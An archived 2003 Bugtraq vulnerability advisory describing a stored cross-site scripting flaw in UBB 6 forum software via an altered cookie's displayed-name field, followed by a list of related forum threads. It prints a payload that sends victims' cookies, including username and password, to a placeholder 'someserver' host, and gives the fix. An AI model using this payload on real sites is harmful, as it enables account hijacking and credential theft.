Changing UBB cookie allows account hijack

anti_acid_at_hotmail.com
Date: 07/16/03

  • Next message: Muhammad Faisal Rauf Danka: "CERT Advisory CA-2003-15 Cisco IOS Interface Blocked by IPv4 Packet (fwd)"
    Date: 16 Jul 2003 21:14:25 -0000
    To: bugtraq@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is)

    Application: UBB 6.(?)
    Platform: Any system supporting PERL.

    Severity: Malicious users can steal session cookies, allowing
    administrative
    access to the bulletin board. Also custom html/js insertion in forum page
    is possible.

    Author:
    antiacid
    [anti_acid@hotmail.com]

    Web:
    http://www.infopop.com/products/ubb/

    Problem:
    The ubber cookie can be manually altered allowing to execute javascript
    in the forum overview page and (latest posts overview page) and steal
    cookies containing username, password and id. This is done by changing
    the [displayed name] attribute and post a new topic on the board in the
    following cookie:

    ubber[sessionid]=[username]&[password]&[displayed name]&[daysshown]&
    [userid]

    with the following code:
    username&lt;script&gt;document.write('<img src%
    3D"http://someserver/savereq.php?'%2Bdocument.cookie%2B'" width%3D0
    height%3D0>')&lt;/script&gt;

    When posting a new topic on the forum that topic with your html/js is
    rendered in the forum overview page. The html/js in the [displayed name]
    gets a 0 width 0 height picture from a malicious server sending along the
    ubber cookie contents to the server containing username and password.
    fooling around with html/js in the [displayed name] attribute can cause
    other things like automatic js redirection to logout page, distorting
    forum and inserting custom html content.

    Fix.
    the [displayed name] attribute should be filtered for any html tags
    before rendering to page.

    Feedback.
    Please send suggestions, updates, and comments to:
    mail : anti_acid@hotmail.com


  • Next message: Muhammad Faisal Rauf Danka: "CERT Advisory CA-2003-15 Cisco IOS Interface Blocked by IPv4 Packet (fwd)"

    Relevant Pages

    • Re: PHP Cookie auslesen
      ... > ich möchte auf ein Cookie zugreifen der von einem PHP Forum geschrieben ... Der Wert auf den ich zugreifen möchte ist mit serialize* ... Der Cookie sieht wie folgt aus: ... > Die Forum Doku macht noch folgende Angaben: ...
      (microsoft.public.de.german.entwickler.dotnet.asp)
    • Re: Why would IE6 not write a cookie?
      ... Thanks...but I know how to post topics/replies to a forum. ... As to the cookie in question, it is a "forum preferences cookie". ...
      (microsoft.public.windows.inetexplorer.ie6.browser)
    • Re: CSS Question
      ... If you are able to the the session of the ... passwords are the same as login passwords... ... Try this on a forum: ... This will store the cookie in my webserver logs.. ...
      (Security-Basics)
    • Re: [PHP] security question
      ... My web hoster support a shared SSL protocol, ... anybody who can get ahold of your laptop/desktop can add cookie files. ... Okay, if you've installed some "forum" software or something, maybe ... software comes with its own whole new set of Security issues. ...
      (php.general)
    • PHP Cookie auslesen
      ... ich möchte auf ein Cookie zugreifen der von einem PHP Forum geschrieben ... Der Wert auf den ich zugreifen möchte ist mit serialize* ... Der Cookie sieht wie folgt aus: ... Die Forum Doku macht noch folgende Angaben: ...
      (microsoft.public.de.german.entwickler.dotnet.asp)